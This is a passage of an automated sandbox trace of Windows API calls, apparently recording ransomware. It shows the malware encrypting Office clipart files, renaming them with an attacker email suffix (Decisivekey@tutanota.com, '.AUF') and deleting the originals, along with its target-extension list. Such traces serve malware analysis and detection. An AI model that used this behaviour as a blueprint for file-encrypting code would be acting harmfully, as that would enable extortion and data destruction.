lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0216.991] lstrlenW (lpString=".7z") returned 3 [0216.991] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0216.991] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD19827_.WMF") returned 63 [0216.991] lstrlenW (lpString=".dbf") returned 4 [0216.991] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0216.991] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD19827_.WMF") returned 63 [0216.991] lstrlenW (lpString=".1cd") returned 4 [0216.991] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0216.991] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD19827_.WMF") returned 63 [0216.991] lstrlenW (lpString=".jpg") returned 4 [0216.991] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0216.992] GetFileSizeEx (in: hFile=0x20c, lpFileSize=0x2f9ff1c | out: lpFileSize=0x2f9ff1c*=14486) returned 1 [0216.992] CloseHandle (hObject=0x20c) returned 1 [0216.992] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD19986_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd19986_.wmf")) returned 0x20 [0216.992] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD19986_.WMF.id-9C354B42.[Decisivekey@tutanota.com].AUF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd19986_.wmf.id-9c354b42.[decisivekey@tutanota.com].auf")) returned 0xffffffff [0216.992] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD19986_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd19986_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x20c [0216.992] SetFilePointerEx (in: hFile=0x20c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f9fec8 | out: lpNewFilePointer=0x0) returned 1 [0216.992] SetFilePointerEx (in: hFile=0x20c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f9fec8 | out: lpNewFilePointer=0x0) returned 1 [0216.992] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD19986_.WMF.id-9C354B42.[Decisivekey@tutanota.com].AUF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd19986_.wmf.id-9c354b42.[decisivekey@tutanota.com].auf"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f8 [0216.992] GetLastError () returned 0x0 [0216.992] ReadFile (in: hFile=0x20c, lpBuffer=0x3b20020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2f9fed4, lpOverlapped=0x0 | out: lpBuffer=0x3b20020*, lpNumberOfBytesRead=0x2f9fed4*=0x3896, lpOverlapped=0x0) returned 1 [0217.044] WriteFile (in: hFile=0x1f8, lpBuffer=0x3b20020*, nNumberOfBytesToWrite=0x38a0, lpNumberOfBytesWritten=0x2f9fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3b20020*, lpNumberOfBytesWritten=0x2f9fc9c*=0x38a0, lpOverlapped=0x0) returned 1 [0217.044] ReadFile (in: hFile=0x20c, lpBuffer=0x3b20020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2f9fed4, lpOverlapped=0x0 | out: lpBuffer=0x3b20020*, lpNumberOfBytesRead=0x2f9fed4*=0x0, lpOverlapped=0x0) returned 1 [0217.045] WriteFile (in: hFile=0x1f8, lpBuffer=0x3b20020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2f9fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3b20020*, lpNumberOfBytesWritten=0x2f9fc9c*=0xec, lpOverlapped=0x0) returned 1 [0217.045] SetEndOfFile (hFile=0x1f8) returned 1 [0217.045] CloseHandle (hObject=0x1f8) returned 1 [0217.045] SetFilePointerEx (in: hFile=0x20c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f9fec8 | out: lpNewFilePointer=0x0) returned 1 [0217.045] SetEndOfFile (hFile=0x20c) returned 1 [0217.046] CloseHandle (hObject=0x20c) returned 1 [0217.046] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD19986_.WMF.id-9C354B42.[Decisivekey@tutanota.com].AUF", dwFileAttributes=0x20) returned 1 [0217.046] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD19986_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd19986_.wmf")) returned 1 [0217.046] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD19986_.WMF") returned 63 [0217.046] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD19986_.WMF") returned 63 [0217.046] lstrlenW (lpString=".doc") returned 4 [0217.047] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0217.047] lstrlenW (lpString=".docx") returned 5 [0217.047] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0217.047] lstrlenW (lpString=".pdf") returned 4 [0217.047] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0217.047] lstrlenW (lpString=".xls") returned 4 [0217.047] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0217.047] lstrlenW (lpString=".xlsx") returned 5 [0217.047] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0217.047] lstrlenW (lpString=".ppt") returned 4 [0217.047] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0217.047] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD19986_.WMF") returned 63 [0217.047] lstrlenW (lpString=".zip") returned 4 [0217.047] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0217.047] lstrlenW (lpString=".rar") returned 4 [0217.047] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0217.047] lstrlenW (lpString=".bz2") returned 4 [0217.047] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0217.047] lstrlenW (lpString=".7z") returned 3 [0217.047] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0217.047] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD19986_.WMF") returned 63 [0217.047] lstrlenW (lpString=".dbf") returned 4 [0217.047] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0217.047] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD19986_.WMF") returned 63 [0217.047] lstrlenW (lpString=".1cd") returned 4 [0217.047] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0217.047] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD19986_.WMF") returned 63 [0217.047] lstrlenW (lpString=".jpg") returned 4 [0217.047] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0217.048] GetFileSizeEx (in: hFile=0x20c, lpFileSize=0x2f9ff1c | out: lpFileSize=0x2f9ff1c*=11058) returned 1 [0217.048] CloseHandle (hObject=0x20c) returned 1 [0217.048] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD20013_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd20013_.wmf")) returned 0x20 [0217.048] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD20013_.WMF.id-9C354B42.[Decisivekey@tutanota.com].AUF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd20013_.wmf.id-9c354b42.[decisivekey@tutanota.com].auf")) returned 0xffffffff [0217.048] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD20013_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd20013_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x20c [0217.048] SetFilePointerEx (in: hFile=0x20c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f9fec8 | out: lpNewFilePointer=0x0) returned 1 [0217.048] SetFilePointerEx (in: hFile=0x20c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f9fec8 | out: lpNewFilePointer=0x0) returned 1 [0217.048] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD20013_.WMF.id-9C354B42.[Decisivekey@tutanota.com].AUF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd20013_.wmf.id-9c354b42.[decisivekey@tutanota.com].auf"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f8 [0217.049] GetLastError () returned 0x0 [0217.049] ReadFile (in: hFile=0x20c, lpBuffer=0x3b20020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2f9fed4, lpOverlapped=0x0 | out: lpBuffer=0x3b20020*, lpNumberOfBytesRead=0x2f9fed4*=0x2b32, lpOverlapped=0x0) returned 1 [0217.055] WriteFile (in: hFile=0x1f8, lpBuffer=0x3b20020*, nNumberOfBytesToWrite=0x2b40, lpNumberOfBytesWritten=0x2f9fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3b20020*, lpNumberOfBytesWritten=0x2f9fc9c*=0x2b40, lpOverlapped=0x0) returned 1 [0217.056] ReadFile (in: hFile=0x20c, lpBuffer=0x3b20020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2f9fed4, lpOverlapped=0x0 | out: lpBuffer=0x3b20020*, lpNumberOfBytesRead=0x2f9fed4*=0x0, lpOverlapped=0x0) returned 1 [0217.056] WriteFile (in: hFile=0x1f8, lpBuffer=0x3b20020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2f9fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3b20020*, lpNumberOfBytesWritten=0x2f9fc9c*=0xec, lpOverlapped=0x0) returned 1 [0217.056] SetEndOfFile (hFile=0x1f8) returned 1 [0217.057] CloseHandle (hObject=0x1f8) returned 1 [0217.057] SetFilePointerEx (in: hFile=0x20c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f9fec8 | out: lpNewFilePointer=0x0) returned 1 [0217.057] SetEndOfFile (hFile=0x20c) returned 1 [0217.058] CloseHandle (hObject=0x20c) returned 1 [0217.058] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD20013_.WMF.id-9C354B42.[Decisivekey@tutanota.com].AUF", dwFileAttributes=0x20) returned 1 [0217.058] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD20013_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd20013_.wmf")) returned 1 [0217.059] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD20013_.WMF") returned 63 [0217.059] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD20013_.WMF") returned 63 [0217.059] lstrlenW (lpString=".doc") returned 4 [0217.059] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0217.059] lstrlenW (lpString=".docx") returned 5 [0217.059] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0217.059] lstrlenW (lpString=".pdf") returned 4 [0217.059] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0217.059] lstrlenW (lpString=".xls") returned 4 [0217.059] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0217.059] lstrlenW (lpString=".xlsx") returned 5 [0217.059] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0217.059] lstrlenW (lpString=".ppt") returned 4 [0217.059] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0217.059] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD20013_.WMF") returned 63 [0217.059] lstrlenW (lpString=".zip") returned 4 [0217.059] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0217.059] lstrlenW (lpString=".rar") returned 4 [0217.059] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0217.059] lstrlenW (lpString=".bz2") returned 4 [0217.059] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0217.059] lstrlenW (lpString=".7z") returned 3 [0217.059] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0217.059] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD20013_.WMF") returned 63 [0217.059] lstrlenW (lpString=".dbf") returned 4 [0217.059] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0217.059] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD20013_.WMF") returned 63 [0217.059] lstrlenW (lpString=".1cd") returned 4 [0217.059] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0217.059] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD20013_.WMF") returned 63 [0217.059] lstrlenW (lpString=".jpg") returned 4 [0217.059] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0217.578] GetFileSizeEx (in: hFile=0x1e4, lpFileSize=0x2f9ff1c | out: lpFileSize=0x2f9ff1c*=9818) returned 1 [0217.578] CloseHandle (hObject=0x1e4) returned 1 [0217.578] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00012_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00012_.wmf")) returned 0x20 [0217.578] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00012_.WMF.id-9C354B42.[Decisivekey@tutanota.com].AUF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00012_.wmf.id-9c354b42.[decisivekey@tutanota.com].auf")) returned 0xffffffff [0217.578] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00012_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00012_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e4 [0217.578] SetFilePointerEx (in: hFile=0x1e4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f9fec8 | out: lpNewFilePointer=0x0) returned 1 [0217.578] SetFilePointerEx (in: hFile=0x1e4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f9fec8 | out: lpNewFilePointer=0x0) returned 1 [0217.578] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00012_.WMF.id-9C354B42.[Decisivekey@tutanota.com].AUF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00012_.wmf.id-9c354b42.[decisivekey@tutanota.com].auf"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f8 [0217.578] GetLastError () returned 0x0 [0217.578] ReadFile (in: hFile=0x1e4, lpBuffer=0x3b20020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2f9fed4, lpOverlapped=0x0 | out: lpBuffer=0x3b20020*, lpNumberOfBytesRead=0x2f9fed4*=0x265a, lpOverlapped=0x0) returned 1 [0217.595] WriteFile (in: hFile=0x1f8, lpBuffer=0x3b20020*, nNumberOfBytesToWrite=0x2660, lpNumberOfBytesWritten=0x2f9fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3b20020*, lpNumberOfBytesWritten=0x2f9fc9c*=0x2660, lpOverlapped=0x0) returned 1 [0217.596] ReadFile (in: hFile=0x1e4, lpBuffer=0x3b20020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2f9fed4, lpOverlapped=0x0 | out: lpBuffer=0x3b20020*, lpNumberOfBytesRead=0x2f9fed4*=0x0, lpOverlapped=0x0) returned 1 [0217.596] WriteFile (in: hFile=0x1f8, lpBuffer=0x3b20020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2f9fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3b20020*, lpNumberOfBytesWritten=0x2f9fc9c*=0xec, lpOverlapped=0x0) returned 1 [0217.596] SetEndOfFile (hFile=0x1f8) returned 1 [0217.596] CloseHandle (hObject=0x1f8) returned 1 [0217.596] SetFilePointerEx (in: hFile=0x1e4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f9fec8 | out: lpNewFilePointer=0x0) returned 1 [0217.596] SetEndOfFile (hFile=0x1e4) returned 1 [0217.597] CloseHandle (hObject=0x1e4) returned 1 [0217.597] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00012_.WMF.id-9C354B42.[Decisivekey@tutanota.com].AUF", dwFileAttributes=0x20) returned 1 [0217.597] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00012_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00012_.wmf")) returned 1 [0217.597] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00012_.WMF") returned 63 [0217.597] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00012_.WMF") returned 63 [0217.597] lstrlenW (lpString=".doc") returned 4 [0217.597] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0217.597] lstrlenW (lpString=".docx") returned 5 [0217.597] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0217.598] lstrlenW (lpString=".pdf") returned 4 [0217.598] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0217.598] lstrlenW (lpString=".xls") returned 4 [0217.598] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0217.598] lstrlenW (lpString=".xlsx") returned 5 [0217.598] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0217.598] lstrlenW (lpString=".ppt") returned 4 [0217.598] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0217.598] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00012_.WMF") returned 63 [0217.598] lstrlenW (lpString=".zip") returned 4 [0217.598] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0217.598] lstrlenW (lpString=".rar") returned 4 [0217.598] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0217.598] lstrlenW (lpString=".bz2") returned 4 [0217.598] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0217.598] lstrlenW (lpString=".7z") returned 3 [0217.598] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0217.598] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00012_.WMF") returned 63 [0217.598] lstrlenW (lpString=".dbf") returned 4 [0217.598] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0217.598] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00012_.WMF") returned 63 [0217.598] lstrlenW (lpString=".1cd") returned 4 [0217.598] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0217.598] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00012_.WMF") returned 63 [0217.598] lstrlenW (lpString=".jpg") returned 4 [0217.598] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0217.598] GetFileSizeEx (in: hFile=0x1e4, lpFileSize=0x2f9ff1c | out: lpFileSize=0x2f9ff1c*=10146) returned 1 [0217.598] CloseHandle (hObject=0x1e4) returned 1 [0217.599] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00122_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00122_.wmf")) returned 0x20 [0217.599] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00122_.WMF.id-9C354B42.[Decisivekey@tutanota.com].AUF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00122_.wmf.id-9c354b42.[decisivekey@tutanota.com].auf")) returned 0xffffffff [0217.599] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00122_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00122_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e4 [0217.599] SetFilePointerEx (in: hFile=0x1e4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f9fec8 | out: lpNewFilePointer=0x0) returned 1 [0217.599] SetFilePointerEx (in: hFile=0x1e4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f9fec8 | out: lpNewFilePointer=0x0) returned 1 [0217.599] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00122_.WMF.id-9C354B42.[Decisivekey@tutanota.com].AUF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00122_.wmf.id-9c354b42.[decisivekey@tutanota.com].auf"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f8 [0217.599] GetLastError () returned 0x0 [0217.599] ReadFile (in: hFile=0x1e4, lpBuffer=0x3b20020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2f9fed4, lpOverlapped=0x0 | out: lpBuffer=0x3b20020*, lpNumberOfBytesRead=0x2f9fed4*=0x27a2, lpOverlapped=0x0) returned 1 [0217.601] WriteFile (in: hFile=0x1f8, lpBuffer=0x3b20020*, nNumberOfBytesToWrite=0x27b0, lpNumberOfBytesWritten=0x2f9fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3b20020*, lpNumberOfBytesWritten=0x2f9fc9c*=0x27b0, lpOverlapped=0x0) returned 1 [0217.601] ReadFile (in: hFile=0x1e4, lpBuffer=0x3b20020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2f9fed4, lpOverlapped=0x0 | out: lpBuffer=0x3b20020*, lpNumberOfBytesRead=0x2f9fed4*=0x0, lpOverlapped=0x0) returned 1 [0217.602] WriteFile (in: hFile=0x1f8, lpBuffer=0x3b20020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2f9fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3b20020*, lpNumberOfBytesWritten=0x2f9fc9c*=0xec, lpOverlapped=0x0) returned 1 [0217.602] SetEndOfFile (hFile=0x1f8) returned 1 [0217.602] CloseHandle (hObject=0x1f8) returned 1 [0217.602] SetFilePointerEx (in: hFile=0x1e4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f9fec8 | out: lpNewFilePointer=0x0) returned 1 [0217.602] SetEndOfFile (hFile=0x1e4) returned 1 [0217.602] CloseHandle (hObject=0x1e4) returned 1 [0217.603] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00122_.WMF.id-9C354B42.[Decisivekey@tutanota.com].AUF", dwFileAttributes=0x20) returned 1 [0217.603] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00122_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00122_.wmf")) returned 1 [0217.603] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00122_.WMF") returned 63 [0217.603] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00122_.WMF") returned 63 [0217.603] lstrlenW (lpString=".doc") returned 4 [0217.603] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0217.603] lstrlenW (lpString=".docx") returned 5 [0217.603] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0217.603] lstrlenW (lpString=".pdf") returned 4 [0217.603] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0217.603] lstrlenW (lpString=".xls") returned 4 [0217.603] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0217.603] lstrlenW (lpString=".xlsx") returned 5 [0217.603] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0217.603] lstrlenW (lpString=".ppt") returned 4 [0217.603] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0217.603] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00122_.WMF") returned 63 [0217.603] lstrlenW (lpString=".zip") returned 4 [0217.603] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0217.603] lstrlenW (lpString=".rar") returned 4 [0217.603] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0217.603] lstrlenW (lpString=".bz2") returned 4 [0217.603] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0217.603] lstrlenW (lpString=".7z") returned 3 [0217.603] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0217.603] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00122_.WMF") returned 63 [0217.603] lstrlenW (lpString=".dbf") returned 4 [0217.603] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0217.603] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00122_.WMF") returned 63 [0217.603] lstrlenW (lpString=".1cd") returned 4 [0217.603] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0217.603] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00122_.WMF") returned 63 [0217.603] lstrlenW (lpString=".jpg") returned 4 [0217.604] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0217.604] GetFileSizeEx (in: hFile=0x1e4, lpFileSize=0x2f9ff1c | out: lpFileSize=0x2f9ff1c*=1464) returned 1 [0217.604] CloseHandle (hObject=0x1e4) returned 1 [0217.604] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00130_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00130_.wmf")) returned 0x20 [0217.604] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00130_.WMF.id-9C354B42.[Decisivekey@tutanota.com].AUF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00130_.wmf.id-9c354b42.[decisivekey@tutanota.com].auf")) returned 0xffffffff [0217.604] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00130_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00130_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e4 [0217.604] SetFilePointerEx (in: hFile=0x1e4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f9fec8 | out: lpNewFilePointer=0x0) returned 1 [0217.605] SetFilePointerEx (in: hFile=0x1e4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f9fec8 | out: lpNewFilePointer=0x0) returned 1 [0217.605] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00130_.WMF.id-9C354B42.[Decisivekey@tutanota.com].AUF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00130_.wmf.id-9c354b42.[decisivekey@tutanota.com].auf"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f8 [0217.605] 